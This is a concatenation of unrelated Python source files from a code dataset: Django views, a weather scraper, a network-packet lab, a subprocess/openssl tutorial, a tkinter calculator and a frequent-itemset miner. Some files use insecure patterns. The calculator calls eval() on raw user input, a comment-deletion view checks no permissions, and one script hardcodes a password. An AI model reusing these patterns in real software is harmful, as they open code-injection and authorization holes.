len(post_all_list)\n\n\n for post_data in post_all_list:\n page_viewed_total += post_data.doc_view_cnt\n\n addition = {\n 'posts' : posts,\n 'max_page': settings.PAGE_MAX_CHAPTER,\n 'page_range': ranger,\n 'board_name' : board_name,\n 'classification' : classification,\n 'visits': visit_num,\n 'post_num': posts_num,\n 'page_viewed_total': page_viewed_total,\n }\n merged = merge_dicts(context_default, document_context)\n return render(request, 'major/post_list.html', merge_dicts(merged, addition))\n\n\n\n# WRITE PAGES\n\n\ndef get_write_post(request):\n update_context()\n pform = PostForm()\n\n if 'userid' not in request.session:\n return render(request, 'major/forbidden.html', context_default)\n\n classification = request.GET.get('board')\n board_rename = switch_urlname_to_board_name_trick(classification)\n addition = {\n 'form' : pform,\n 'board_name' : board_rename,\n 'classification' : classification\n }\n merged = merge_dicts(context_default, document_context)\n return render(request, 'major/new_post.html', merge_dicts(merged, addition))\n\n\n\n# Posting PAGES\n\n\ndef post_document(request):\n recent_index = Variables.objects.all().first().doc_index_recent + 1\n Variables.objects.all().update(doc_index_recent=recent_index)\n\n classification = request.GET.get('board')\n\n new_doc = Documents_Info(\n classify= classification,\n doc_index='{:05d}'.format(recent_index),\n doc_title=request.POST.get('doc-title'),\n doc_writer=request.session['username'],\n doc_content=request.POST.get('fields'),\n doc_view_cnt=0\n )\n\n new_doc.save()\n\n url_trick = request.GET.get('board')\n\n return redirect('/board?name='+url_trick)\n\n\n# Post View\n\n\ndef postview(request):\n update_context()\n\n classification = request.GET.get('classify')\n board_name = switch_urlname_to_board_name_trick(classification)\n\n post_index = request.GET.get('pindex')\n datas = Documents_Info.objects.filter(doc_index=post_index)\n Documents_Info.objects.filter(doc_index=post_index).update(doc_view_cnt= datas.first().doc_view_cnt+1)\n\n post = Documents_Info.objects.filter(doc_index=post_index).first()\n\n\n addition = {\n 'doc_data' : datas.first(),\n 'board_name' : board_name,\n 'post': post,\n }\n\n merged = merge_dicts(context_default, document_context)\n return render(request, 'major/show_post.html', merge_dicts(merged, addition))\n\n\ndef save_new_comment(request):\n if request.method == 'POST':\n\n recent_index = Variables.objects.all().first().comment_index_recent + 1\n Variables.objects.all().update(comment_index_recent=recent_index)\n\n post = Documents_Info.objects.filter(doc_index=request.POST['post_id']).first()\n user = User_Info.objects.filter(user_id=request.session['userid']).first()\n Comment.objects.create(\n comment_content=request.POST['comment_contents'],\n comment_writer=user,\n comment_post=post,\n comment_id='{:06d}'.format(recent_index),\n )\n return redirect('/postview?pindex='+post.doc_index+'&classify='+post.classify)\n\n\ndef delete_comment(request):\n comment_id = request.GET.get('comment_id')\n comment_obj = Comment.objects.filter(comment_id=comment_id).first()\n post = comment_obj.comment_post\n comment_obj.delete()\n\n return redirect('/postview?pindex='+post.doc_index+'&classify='+post.classify)","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"64257874","text":"from pylab import *\nimport postgkyl\n\nd = postgkyl.GData(\"c-m1-2d-adv-dg_distf_0.bp\")\nq0 = d.q\n\nd = postgkyl.GData(\"c-m1-2d-adv-dg_distf_1.bp\")\nq1 = d.q\n\ndx = (d.upperBounds[0]-d.lowerBounds[0])/d.numCells[0]\ndy = (d.upperBounds[1]-d.lowerBounds[1])/d.numCells[1]\nvol = dx*dy\n\ndq = q1-q0\nerr = dx*dy/4.0*(dq[0]**2 + dq[1]**2 + dq[2]**2 + dq[3]**2)\n\ntotalErr = sqrt(sum(err))\nprint(\"dx = %g; err = %g\" % (dx, totalErr))\n\n","sub_path":"source/sims-g2/pos-adv/c-m1/calcErr.py","file_name":"calcErr.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"39756735","text":"# Import libraries\nfrom bs4 import BeautifulSoup\nimport requests\nimport time\nfrom win10toast import ToastNotifier\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}\n\n\ndef weather(city):\n city = city.replace(\" \", \"+\")\n res = requests.get(\n f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',\n headers=headers)\n\n soup = BeautifulSoup(res.text, 'html.parser')\n\n location = soup.select('#wob_loc')[0].getText().strip()\n current_time = soup.select('#wob_dts')[0].getText().strip()\n info = soup.select('#wob_dc')[0].getText().strip()\n weather = soup.select('#wob_tm')[0].getText().strip()\n\n information = f\"{location}\\n{current_time}\\n{info}\\n{weather} °F \"\n \n toaster = ToastNotifier()\n toaster.show_toast(\"Weather Information\",\n f\"{information}\",\n duration=10,\n threaded=True)\n while toaster.notification_active(): time.sleep(0.005)\n \n\n\ncity = \"Grand Rapids\"\ncity = city + \" weather\"\nweather(city)\n","sub_path":"Weather.py","file_name":"Weather.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"45946791","text":"from maid.netmaid import netmaid\nfrom django.core.management.base import NoArgsCommand\n\nclass Command(NoArgsCommand):\n help = \"Netmaid latest crawler\"\n\n def handle_noargs(self, **options):\n a = netmaid()\n a.url = 'http://netmaid.com.sg/Last-24hr-Maid.html'\n a.start_crawl()\n","sub_path":"maid/management/commands/getlatestmaid.py","file_name":"getlatestmaid.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"440366981","text":"'''\r\nCreated on Oct 12, 2016\r\n\r\n@author: mwittie\r\n'''\r\nimport queue\r\nimport threading\r\n\r\n\r\n## wrapper class for a queue of packets\r\nclass Interface:\r\n ## @param maxsize - the maximum size of the queue storing packets\r\n def __init__(self, maxsize=0):\r\n self.queue = queue.Queue(maxsize);\r\n self.mtu = None\r\n\r\n ##get packet from the queue interface\r\n def get(self):\r\n try:\r\n return self.queue.get(False)\r\n except queue.Empty:\r\n return None\r\n\r\n ##put the packet into the interface queue\r\n # @param pkt - Packet to be inserted into the queue\r\n # @param block - if True, block until room in queue, if False may throw queue.Full exception\r\n def put(self, pkt, block=False):\r\n self.queue.put(pkt, block)\r\n\r\n\r\n## Implements a network layer packet (different from the RDT packet\r\n# from programming assignment 2).\r\n# NOTE: This class will need to be extended to for the packet to include\r\n# the fields necessary for the completion of this assignment.\r\nclass NetworkPacket:\r\n ## packet encoding lengths\r\n dst_addr_S_length = 5\r\n snd_addr_S_length = 5\r\n pack_length_length = 4\r\n frag_flag_length = 1\r\n pack_id_length = 1\r\n pack_off_length = 3\r\n ack_length = 1\r\n\r\n # head size for initial send\r\n head_size = ack_length + dst_addr_S_length + snd_addr_S_length + pack_length_length + frag_flag_length + pack_id_length + pack_off_length\r\n\r\n ##@param dst_addr: address of the destination host\r\n # @param data_S: packet payload\r\n def __init__(self, ack, snd_addr, dst_addr, data_S):\r\n self.snd_addr = snd_addr\r\n self.dst_addr = dst_addr\r\n self.data_S = data_S\r\n\r\n # frag capabilities\r\n self.pack_length = self.head_size + len(data_S)\r\n self.pack_id = 0\r\n self.frag_flag = 0\r\n self.pack_off = 3\r\n\r\n # ACK\r\n self.ack = ack\r\n\r\n\r\n ## called when printing the object\r\n def __str__(self):\r\n return self.to_byte_S()\r\n\r\n # set frag_val\r\n def frag_val(self, length, id, frag, off):\r\n self.frag_flag = frag\r\n self.pack_length = length + len(self.data_S)\r\n self.pack_id = id\r\n self.pack_off = off\r\n\r\n ## convert packet to a byte string for transmission over links\r\n def to_byte_S(self):\r\n byte_S = str(self.pack_length).zfill(self.pack_length_length)\r\n byte_S += str(self.pack_id).zfill(self.pack_id_length)\r\n byte_S += str(self.frag_flag).zfill(self.frag_flag_length)\r\n byte_S += str(self.pack_off).zfill(self.pack_off_length)\r\n byte_S += str(self.ack).zfill(self.ack_length)\r\n byte_S += str(self.snd_addr).zfill(self.snd_addr_S_length)\r\n byte_S += str(self.dst_addr).zfill(self.dst_addr_S_length)\r\n byte_S += self.data_S\r\n return byte_S\r\n\r\n ## extract a packet object from a byte string\r\n # @param byte_S: byte string representation of the packet\r\n @classmethod\r\n def from_byte_S(self, byte_S):\r\n pointer = 0\r\n pack_length = int(byte_S[pointer : pointer + NetworkPacket.pack_length_length])\r\n\r\n pointer += NetworkPacket.pack_length_length\r\n p_id = int(byte_S[pointer : pointer + NetworkPacket.pack_id_length])\r\n\r\n pointer += NetworkPacket.pack_id_length\r\n frag_flag = int(byte_S[pointer : pointer + NetworkPacket.frag_flag_length])\r\n\r\n pointer += NetworkPacket.frag_flag_length\r\n off = int(byte_S[pointer : pointer + NetworkPacket.pack_off_length])\r\n\r\n pointer += NetworkPacket.pack_off_length\r\n ack = int(byte_S[pointer : pointer + NetworkPacket.ack_length])\r\n\r\n pointer += NetworkPacket.ack_length\r\n snd_addr = int(byte_S[pointer : pointer + NetworkPacket.snd_addr_S_length])\r\n\r\n pointer += NetworkPacket.snd_addr_S_length\r\n dst_addr = int(byte_S[pointer : pointer + NetworkPacket.dst_addr_S_length])\r\n\r\n pointer += NetworkPacket.dst_addr_S_length\r\n data_S = byte_S[pointer : ]\r\n\r\n # create packet from data\r\n p = self(ack, snd_addr, dst_addr, data_S)\r\n\r\n p.frag_val(pack_length, p_id, frag_flag, off)\r\n\r\n return p\r\n\r\n\r\n\r\n\r\n## Implements a network host for receiving and transmitting data\r\nclass Host:\r\n\r\n ##@param addr: address of this node represented as an integer\r\n def __init__(self, addr):\r\n self.addr = addr\r\n self.in_intf_L = [Interface()]\r\n self.out_intf_L = [Interface()]\r\n self.stop = False #for thread termination\r\n self.received_buf = [] #for tracking all packets received\r\n\r\n ## called when printing the object\r\n def __str__(self):\r\n return 'Host_%s' % (self.addr)\r\n\r\n ## create a packet and enqueue for transmission\r\n # @param dst_addr: destination address for the packet\r\n # @param data_S: data being transmitted to the network layer\r\n def udt_send(self, dst_addr, data_S, ack=0):\r\n count = 0\r\n while len(data_S) + NetworkPacket.head_size > self.out_intf_L[0].mtu:\r\n p = NetworkPacket(ack, self.addr, dst_addr, data_S[0:self.out_intf_L[0].mtu - NetworkPacket.head_size])\r\n p.pack_id = count\r\n count += 1\r\n self.out_intf_L[0].put(p.to_byte_S()) #send packets always enqueued successfully\r\n print('%s: sending packet \"%s\" on the out interface with mtu=%d' % (self, p, self.out_intf_L[0].mtu))\r\n data_S = data_S[self.out_intf_L[0].mtu - NetworkPacket.head_size:]\r\n # self.udt_send(dst_addr,data_S[self.out_intf_L[0].mtu - NetworkPacket.head_size:])\r\n if len(data_S) > 0:\r\n p = NetworkPacket(ack, self.addr, dst_addr, data_S)\r\n p.pack_id = count\r\n self.out_intf_L[0].put(p.to_byte_S()) # send packets always enqueued successfully\r\n print('%s: sending packet \"%s\" on the out interface with mtu=%d' % (self, p, self.out_intf_L[0].mtu))\r\n\r\n ## receive packet from the network layer\r\n def udt_receive(self):\r\n pkt_S = self.in_intf_L[0].get()\r\n if pkt_S is not None:\r\n p = NetworkPacket.from_byte_S(pkt_S)\r\n\r\n self.received_buf.append(p)\r\n # if the packet was fragmented\r\n if p.frag_flag:\r\n done = False\r\n while not done:\r\n # get more information\r\n pkt_S_next = self.in_intf_L[0].get()\r\n # keep trying until more information is received\r\n if pkt_S_next is None:\r\n continue\r\n\r\n # at this point there is information so make a packet\r\n p_next = NetworkPacket.from_byte_S(pkt_S_next)\r\n\r\n # if the id's match use the data\r\n if p_next.pack_id == p.pack_id:\r\n pkt_S += p_next.data_S\r\n # if there are more fragments keep looking\r\n if p_next.frag_flag:\r\n continue\r\n # otherwise use the data and exit\r\n else:\r\n print('%s: received packet \"%s\" on the in interface' % (self, pkt_S))\r\n if p_next.ack is not 1:\r\n self.sendACK(p_next)\r\n done = True\r\n # otherwise use the data\r\n else:\r\n print('%s: received packet \"%s\" on the in interface' % (self, pkt_S))\r\n if p.ack is not 1:\r\n self.sendACK(p)\r\n\r\n def sendACK(self, packet):\r\n snd_addr = packet.snd_addr\r\n id = packet.pack_id\r\n self.udt_send(snd_addr, \"ACK for packet with id=%s\" % id, 1)\r\n\r\n\r\n ## thread target for the host to keep receiving data\r\n def run(self):\r\n print (threading.currentThread().getName() + ': Starting')\r\n while True:\r\n #receive data arriving to the in interface\r\n self.udt_receive()\r\n #terminate\r\n if(self.stop):\r\n msgs = \"\"\r\n for packet in self.received_buf:\r\n if packet.pack_id == 0:\r\n msgs += \"\\n\"\r\n msgs += packet.data_S\r\n if len(msgs) > 0:\r\n print (threading.currentThread().getName() + ': Ending, received the following message(s):%s' % msgs + '\\n')\r\n else:\r\n print (threading.currentThread().getName() + ': Ending, received no messages.\\n')\r\n return\r\n\r\n\r\n\r\n## Implements a multi-interface router described in class\r\nclass Router:\r\n id_options = [1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n id_pointer = 0\r\n\r\n ##@param name: friendly router name for debugging\r\n # @param intf_count: the number of input and output interfaces\r\n # @param max_queue_size: max queue length (passed to Interface)\r\n def __init__(self, name, intf_count, table, max_queue_size):\r\n self.stop = False #for thread termination\r\n self.name = name\r\n self.table = table\r\n #create a list of interfaces\r\n self.in_intf_L = [Interface(max_queue_size) for _ in range(intf_count)]\r\n self.out_intf_L = [Interface(max_queue_size) for _ in range(intf_count)]\r\n\r\n\r\n ## called when printing the object\r\n def __str__(self):\r\n return 'Router_%s' % (self.name)\r\n\r\n ## look through the content of incoming interfaces and forward to\r\n # appropriate outgoing interfaces\r\n def forward(self):\r\n for i in range(len(self.in_intf_L)):\r\n pkt_S = None\r\n try:\r\n #get packet from interface i\r\n pkt_S = self.in_intf_L[i].get()\r\n #if packet exists make a forwarding decision\r\n if pkt_S is not None:\r\n p = NetworkPacket.from_byte_S(pkt_S) #parse a packet out\r\n\r\n # if there is to much data\r\n if len(pkt_S) > self.out_intf_L[i].mtu:\r\n # available send space\r\n space = self.out_intf_L[i].mtu - NetworkPacket.head_size\r\n\r\n # while there is data left\r\n while len(pkt_S) > 0:\r\n # make a sub packet to the send address with all info from old packet\r\n # this includes the old packets header as raw data\r\n p_next = NetworkPacket(p.ack, p.snd_addr, p.dst_addr, pkt_S[0:space])\r\n pkt_S = pkt_S[space:]\r\n if len(pkt_S) > 0:\r\n frag = 1\r\n else:\r\n frag = 0\r\n p_next.frag_val(space, self.id_options[self.id_pointer], frag, int(space/8))\r\n self.forwardPacket(p_next)\r\n if self.id_pointer >= len(self.id_options)-1:\r\n self.id_pointer = 0\r\n else:\r\n self.id_pointer += 1\r\n\r\n else:\r\n self.forwardPacket(p)\r\n except queue.Full:\r\n print('%s: packet \"%s\" lost on interface %d' % (self, p, i))\r\n pass\r\n\r\n # forwards packet to correct out interface using the routing table (self.table)\r\n def forwardPacket(self, packet):\r\n interfaceNum = self.table[packet.dst_addr]\r\n self.out_intf_L[interfaceNum].put(packet.to_byte_S(), True)\r\n print('%s: forwarding packet \"%s\" from interface %d to %d with mtu %d' \\\r\n % (self, packet, interfaceNum, interfaceNum, self.out_intf_L[interfaceNum].mtu))\r\n\r\n ## thread target for the host to keep forwarding data\r\n def run(self):\r\n print (threading.currentThread().getName() + ': Starting')\r\n while True:\r\n self.forward()\r\n if self.stop:\r\n print (threading.currentThread().getName() + ': Ending')\r\n return\r\n","sub_path":"csci-466-networks/packet-segmentation-and-routing-lab/part4/network_4.py","file_name":"network_4.py","file_ext":"py","file_size_in_byte":11999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"302742256","text":"# -*- coding:utf-8 -*-\n#--\n# Copyright (c) 2012-2014 Net-ng.\n# All rights reserved.\n#\n# This software is licensed under the BSD License, as described in\n# the file LICENSE.txt, which you should have received as part of\n# this distribution.\n#--\n\nfrom elixir import using_options\nfrom elixir import Entity, ManyToMany, ManyToOne, OneToMany, OneToOne\nfrom elixir import Field, Unicode, Integer, DateTime, Date, UnicodeText\nfrom sqlalchemy.orm import subqueryload\nfrom nagare.database import session\nimport datetime\n\n\nclass DataCard(Entity):\n\n \"\"\"Card mapper\n \"\"\"\n using_options(tablename='card')\n title = Field(UnicodeText)\n description = Field(UnicodeText, default=u'')\n votes = OneToMany('DataVote')\n index = Field(Integer)\n column = ManyToOne('DataColumn')\n labels = ManyToMany('DataLabel')\n comments = OneToMany('DataComment', order_by=\"-creation_date\")\n assets = OneToMany('DataAsset', order_by=\"-creation_date\")\n checklists = OneToMany('DataChecklist', order_by=\"index\")\n members = ManyToMany('DataUser')\n cover = OneToOne('DataAsset', inverse=\"cover\")\n author = ManyToOne('DataUser', inverse=\"my_cards\")\n creation_date = Field(DateTime)\n due_date = Field(Date)\n history = OneToMany('DataHistory')\n weight = Field(Unicode(255), default=u'')\n\n def delete_history(self):\n for event in self.history:\n session.delete(event)\n session.flush()\n\n @classmethod\n def create_card(cls, column, title, user):\n \"\"\"Create new column\n\n In:\n - ``column`` -- DataColumn, father of the column\n - ``title`` -- title of the card\n - ``user`` -- DataUser, author of the card\n Return:\n - created DataCard instance\n \"\"\"\n new_card = cls(title=title, author=user,\n creation_date=datetime.datetime.utcnow())\n column.cards.append(new_card)\n return new_card\n\n @classmethod\n def delete_card(cls, card):\n \"\"\"Delete card\n\n Delete a given card and re-index other cards\n\n In:\n - ``card`` -- DataCard instance to delete\n \"\"\"\n index = card.index\n column = card.column\n card.delete()\n session.flush()\n # legacy databases may be broken…\n if index is None:\n return\n q = cls.query\n q = q.filter(cls.index >= index)\n q = q.filter(cls.column == column)\n q.update({'index': cls.index - 1})\n\n @classmethod\n def get_all(cls):\n query = cls.query.options(subqueryload('labels'), subqueryload('comments'))\n return query\n\n def make_cover(self, asset):\n \"\"\"\n \"\"\"\n DataCard.get(self.id).cover = asset.data\n\n def remove_cover(self):\n \"\"\"\n \"\"\"\n DataCard.get(self.id).cover = None\n\n def remove_board_member(self, member):\n \"\"\"Remove member from board\"\"\"\n if member.get_user_data() in self.members:\n self.members.remove(member.get_user_data())\n session.flush()\n","sub_path":"kansha/card/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"313894566","text":"from tkinter import *\r\nroot = Tk()\r\n\r\nlabel1 = Label(root, text = \"Enter your expression\")\r\nlabel1.grid(row = 0)\r\n\r\nlabelHelp = Label(root,text = \" \")\r\nlabelHelp.grid(row = 0, column = 1)\r\n\r\nlabel2 = Label(root, text = \"Your result is:\")\r\nlabel2.grid(row=2, column=0)\r\n\r\ndef evaluate(event):\r\n data = e.get()\r\n ans.configure(text = \"Answer.\" + str(eval(data)))\r\n \r\ne = Entry(root)\r\n\r\ne.bind(\"\", evaluate)\r\ne.grid(row=1)\r\n\r\nans = Label(root)\r\nans.grid(row=2,column=1)\r\n\r\nroot.mainloop()\r\n\r\n\r\n","sub_path":"Mini_calculator.py","file_name":"Mini_calculator.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"479021645","text":"import os\n\nfrom .settings import *\n\n# Google App Engine Settings\nimport sys\nsys.path.append('/usr/local/google_appengine')\nsys.path.append('/usr/local/google_appengine/lib/yaml/lib')\nsys.path.append('/usr/local/google_appengine/lib/fancy_urllib')\n\n\nDEBUG = False\n\nUSE_CACHEMANAGER = False\nENABLE_DB_LOGGER = True\n\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n 'LOCATION': 'horizon_api',\n 'TIMEOUT': 60,\n }\n}\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n\n\nINSTALLED_APPS = ('django_nose',) + INSTALLED_APPS\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\nNOSE_ARGS = [\n '--with-gae',\n '-s',\n '--logging-level=WARNING',\n '--exclude-dir=gaenv_lib',\n '--with-coverage',\n '--cover-erase',\n ]\nAPPS_TO_COVER = [x for x in INSTALLED_APPS if not x.startswith('django') and x != 'jlib']\nNOSE_ARGS += ['--cover-package=%s'%x for x in APPS_TO_COVER]\n","sub_path":"food_trucks/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"173903914","text":"from django.forms import ModelForm\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Button, ButtonHolder\nfrom crispy_forms.bootstrap import FormActions\n\n# Models\nfrom blog.models import Article\n\nclass ArticleForm(ModelForm):\n \n class Meta:\n model = Article\n fields = '__all__'\n exclude = ('slug',)\n\n def __init__(self, *args, **kwargs):\n super(ArticleForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper(self)\n self.helper.layout = Layout(\n 'title',\n 'content',\n 'tags',\n ButtonHolder(\n Button('cancel', 'Cancelar'), \n Submit('save', 'Salvar'),\n css_class='float-right'\n )\n )","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"415460297","text":"import os\nimport sys\nimport time\nimport subprocess\n\n# Use subprocess to Manage Child Processes\n\n# result = subprocess.run(\n# [\"echo\", \"Hello from the child!\"], capture_output=True, encoding=\"utf-8\"\n# )\n# result.check_returncode() # No exception means clean exit\n# print(result.stdout)\n\n## Decoupling the child process from the parent frees up the parent process to\n## run many child processes in parallel. Here I do this by starting all the child\n## processes together with Popen upfront\n# start = time.time()\n# sleep_procs = []\n# for _ in range(10):\n# proc = subprocess.Popen([\"sleep\", \"1\"])\n# sleep_procs.append(proc)\n\n##\n# for proc in sleep_procs:\n# proc.communicate()\n\n# end = time.time()\n# delta = end - start\n## Takes about 1.05 seconds to perform all the 10 tasks concurrently\n# print(f\"Process took: {delta:.3} seconds\")\n\n## If these processes ran in a sequential manner then the total delay would be\n## 10+ seconds rather than ~1 second\n\n## You can also pipe data from a Python program into a subprocess and retrieve\n## its output.\n\n\ndef run_encrypt(data):\n \"\"\"\n Use the openssl command-line tool to encrypt some data.\n This function starts the child process with CLI arguments and I/O pipes\n \"\"\"\n env = os.environ.copy()\n\n env[\"password\"] = \"zhsklsdfjw4e2888jsda/sfshnssd/m/KJ)2329#\"\n proc = subprocess.Popen(\n [\"openssl\", \"enc\", \"-des3\", \"-pass\", \"env:password\"],\n env=env,\n stdin=subprocess.PIPE, # Allow sending of data to process's stdin\n stdout=subprocess.PIPE, # To retrieve the result instead of None\n )\n proc.stdin.write(data)\n proc.stdin.flush() # Ensure that the child gets the input\n return proc\n\n\n# procs = []\n# for _ in range(3):\n# data = os.urandom(10)\n# proc = run_encrypt(data)\n# procs.append(proc)\n\n# for proc in procs:\n# out, _ = proc.communicate()\n# print(\"Out: \", out)\n\n\ndef run_hash(input_stdin):\n \"\"\"\n Start the openssl CLI tool as a subprocess to generate a Whirpool hash of\n the input stream\n\n Args:\n input_stdin -> Earlier subprocess that passes input to this process\n \"\"\"\n return subprocess.Popen(\n [\"openssl\", \"dgst\", \"-whirlpool\", \"-binary\"],\n stdin=input_stdin,\n stdout=subprocess.PIPE,\n )\n\n\ndef sleep_pipe(input_stdin):\n return subprocess.Popen([\"sleep\", \"1\"], stdin=input_stdin, stdout=subprocess.PIPE)\n\n\n# Now, one set of processes is used to encrypt some data and another set of\n# processes is used to hash their encrypted output.\n\nencrypt_procs = []\nhash_procs = []\nsleep_procs = []\n\nstart = time.time()\nfor _ in range(3):\n data = os.urandom(100)\n # Encrypt the data first\n encrypt_proc = run_encrypt(data)\n encrypt_procs.append(encrypt_proc)\n\n sleep_proc = sleep_pipe(encrypt_proc.stdout)\n sleep_procs.append(sleep_proc)\n\n # Pass the encrypted data stream to run_hash()\n hash_proc = run_hash(encrypt_proc.stdout)\n hash_procs.append(hash_proc)\n\n # Ensures that the child consumes the input stream and the communicate()\n # method doesn't inadvertently steal input from the child\n encrypt_proc.stdout.close()\n encrypt_proc.stdout = None\n\n sleep_proc.stdout.close()\n sleep_proc.stdout = None\n\n\nfor proc in encrypt_procs:\n try:\n proc.communicate(timeout=0.1)\n assert proc.returncode == 0\n except subprocess.TimeoutExpired:\n print(\"Exit status\", proc.poll())\n proc.terminate()\n proc.wait()\n sys.exit(1)\n\nfor proc in sleep_procs:\n try:\n # timeout of 0.1 should cause the entire process to end if the sleep is\n # longer than 0.1\n proc.communicate(timeout=2)\n assert proc.returncode == 0\n except subprocess.TimeoutExpired:\n print(\"Exit status\", proc.poll())\n proc.terminate()\n proc.wait()\n sys.exit(1)\n\nfor proc in hash_procs:\n try:\n out, _ = proc.communicate(timeout=0.1)\n print(out[-10:])\n assert proc.returncode == 0\n except subprocess.TimeoutExpired:\n print(\"Exit status\", proc.poll())\n proc.terminate()\n proc.wait()\n sys.exit(1)\n\nend = time.time()\ndelta = end - start\nprint(f\"Took {delta:.3} seconds\")\n","sub_path":"ConcurrencyAndParellelism/conc.py","file_name":"conc.py","file_ext":"py","file_size_in_byte":4197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"69396906","text":"from pyspark.sql import SparkSession\nfrom operator import add\nfrom itertools import combinations\nimport csv\nimport sys\nimport time\n\n\ndef candidateCount(partitionBasket, candidateItems):\n itemCount = {}\n\n for candidate in candidateItems:\n if type(candidate) is int:\n candidate = [candidate]\n item = tuple(sorted(candidate))\n candidate = set(candidate)\n for basket in partitionBasket:\n if candidate.issubset(basket):\n itemCount[item] = itemCount.get(item, 0) + 1\n\n return itemCount\n\n\ndef getFrequentItems(partitionBasket, candidateItems, basketSupport):\n itemCount = candidateCount(partitionBasket, candidateItems)\n filteredFrequentItems = [item for item in itemCount if itemCount[item] >= basketSupport]\n return filteredFrequentItems\n\n\ndef getCandidateItems(frequentItems, k):\n\n if k == 2:\n return list(combinations(frequentItems, 2))\n\n candidateItems = []\n\n for item in combinations(frequentItems, 2):\n new_item = set(item[0] + item[1])\n new_item_tuple = tuple(sorted(new_item))\n if len(new_item) == k and new_item_tuple not in candidateItems:\n flag = True\n for sub_item in combinations(new_item, k - 1):\n if tuple(sorted(sub_item)) not in frequentItems:\n flag = False\n break\n if flag:\n candidateItems.append(new_item_tuple)\n\n return candidateItems\n\n\ndef aprioriAlgorithm(partitionBasket, support, totalCount):\n\n partitionBasket = list(partitionBasket)\n basketSupport = support * (float(len(partitionBasket)) / float(totalCount))\n finalResult = list()\n\n candidateItems = []\n for basket in partitionBasket:\n candidateItems += list(basket)\n\n frequentItems = []\n for item in set(candidateItems):\n if candidateItems.count(item) >= basketSupport:\n frequentItems.append(item)\n\n frequentItems = sorted(frequentItems)\n\n finalResult.extend(frequentItems)\n\n k = 2\n while len(frequentItems) > 0:\n\n candidateItems = getCandidateItems(frequentItems, k)\n\n if len(candidateItems) > 0:\n frequentItems = getFrequentItems(partitionBasket, candidateItems, basketSupport)\n frequentItems = sorted(frequentItems)\n finalResult.extend(frequentItems)\n else:\n frequentItems = []\n\n k = k + 1\n\n return finalResult\n\n\ndef writeItemsToFile(outputItems, outFilePtr):\n\n length = 1\n output = {}\n\n nextList = list(filter(lambda l: len(l) == length, outputItems))\n\n while nextList:\n output[length] = nextList\n length += 1\n nextList = list(filter(lambda l: len(l) == length, outputItems))\n\n for key in sorted(output.keys()):\n\n outputList = output[key]\n outputItems = []\n for item in outputList:\n outputItems.append(tuple(sorted(str(i) for i in item)))\n\n outputItems = sorted(outputItems)\n\n if key == 1:\n outFilePtr.write(str(outputItems[0]).replace(\",\", \"\"))\n for i in outputItems[1:]:\n outFilePtr.write(\",\")\n outFilePtr.write(str(i).replace(\",\", \"\"))\n else:\n outFilePtr.write(\"\\n\\n\")\n outFilePtr.write(str(outputItems[0]))\n for i in outputItems[1:]:\n outFilePtr.write(\",\")\n outFilePtr.write(str(i))\n\n\ndef removeLeadingZeros(num):\n while num[0] == \"0\":\n num = num[1:]\n return int(num)\n\n\ndef update_year(date_string):\n date_list = date_string.split(\"/\")\n if len(date_list[2]) == 4:\n date_string = \"/\".join(date_list[:2]) + \"/\" + date_list[2][-2:]\n return date_string\n\n\nif __name__ == \"__main__\":\n\n start = time.time()\n\n filterThreshold = int(sys.argv[1])\n support = int(sys.argv[2])\n inputFile = sys.argv[3]\n outputFile = sys.argv[4]\n\n outFile = open(outputFile, \"w\")\n\n spark = SparkSession.builder.appName('inf-553-2b').getOrCreate()\n sc = spark.sparkContext\n\n dataset = sc.textFile(inputFile).mapPartitions(lambda x : csv.reader(x))\n\n # Data PreProcessing\n header = dataset.first()\n transactionIndex = header.index(\"TRANSACTION_DT\")\n customerIndex = header.index(\"CUSTOMER_ID\")\n productIndex = header.index(\"PRODUCT_ID\")\n dataset = dataset.filter(lambda x: x != header)\n\n dataset = dataset.map(lambda x: (update_year(x[transactionIndex]) + \"-\" + x[customerIndex], removeLeadingZeros(x[productIndex])))\n with open('divya_ramesha_preprocessed.csv', 'w') as csvFile:\n writer = csv.writer(csvFile)\n writer.writerows([['DATE-CUSTOMER_ID', 'PRODUCT_ID']] + dataset.collect())\n\n # Filter Baskets\n marketBaskets = dataset.groupByKey().mapValues(set).filter(lambda x: len(x[1]) > filterThreshold)\n marketBaskets = marketBaskets.map(lambda x: x[1])\n basketsCount = marketBaskets.count()\n\n # First Map\n firstMap = marketBaskets.mapPartitions(lambda partitionBasket: aprioriAlgorithm(partitionBasket, support, basketsCount)).map(lambda x: 